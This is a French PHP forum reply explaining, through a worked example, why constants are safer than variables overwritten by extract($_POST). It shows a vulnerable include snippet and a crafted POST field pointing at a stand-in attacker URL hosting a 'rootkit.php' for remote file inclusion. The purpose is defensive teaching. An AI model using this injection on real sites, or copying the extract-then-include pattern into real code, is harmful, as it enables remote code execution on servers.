(19-01-2011, 12:38 PM)Argorate a écrit : Comme je le disais a Anthor, c'est une histoire de convention, tu dis que je peux écraser la valeur d'une variable? Si tu prends une convention adéquate, je te réponds que non, ce n'est pas possible (sans le faire volontairement ou être vraiment mauvais), c'est juste une histoire de convention et de rigueur.
Pour les $GLOBALS, je veux bien comprendre les failles de sécurités qui pourrait exister? (avec un exemple concret se serait bien) Quel sont les risques?
Le problème du $GLOBALS, c'est que l'on a jamais un vision concrête de ce qu'il y a dedans, des fonction PHP de type "extract" (http://fr2.php.net/manual/fr/function.extract.php ) peuvent te généré des variables un peu n'importe comment. Idem lors de l'inclusion d'un fichier...
Si le register_globals est à OFF, tu as déjà 90% des risques qui sont comblé.
Mettons que tu fasses un extract sur les données reçu de ton formulaire qui contient normalement un login et un mot de passe :
$__mon_chemin_racine = dirname(__FILE__) . DIRECTORY_SEPARATOR;
// On sort les données du formulaire pour l'utiliser plus facilement :
extract($_POST);
if (empty($login))
include $__mon_chemin_racine . 'html/erreur.html';
Ensuite, le petit malin s'arrange pour balancer dans le POST un champs de formulaire supplémentaire appelé "__mon_chemin_racine" et qui vaut "http://mon_site_de_hack.com/rootkit.php?dummy="
L'appel à extract va écraser ta variable de chemin racine, et l'appel à l'include donne :
include 'http://mon_site_de_hack.com/rootkit.php?dummy=' . 'html/erreur.html';
Si on avait utilisé une constante à la place, il n'y aura eut aucun risque, la constante est déclarée une fois et une seule fois. C'est d'autant plus important pour faire des inclusions de fichier, si jamais par un moyen ou par un autre la variable a été modifié en cours de route, tu ne sais plus ce que tu charges.
Voilà, c'est un exemple, mais il y a sans doute d'autre cas où l'on arrive à écraser une variable "par erreur"
Bref, mon conseil c'est que : si ta variable n'a pas de raison d'être modifiée plus tard, alors met une constante, d'une part tu es sûr qu'elle ne sera pas modifiée et d'autre part, c'est plus clair dans le code pour celui qui passe après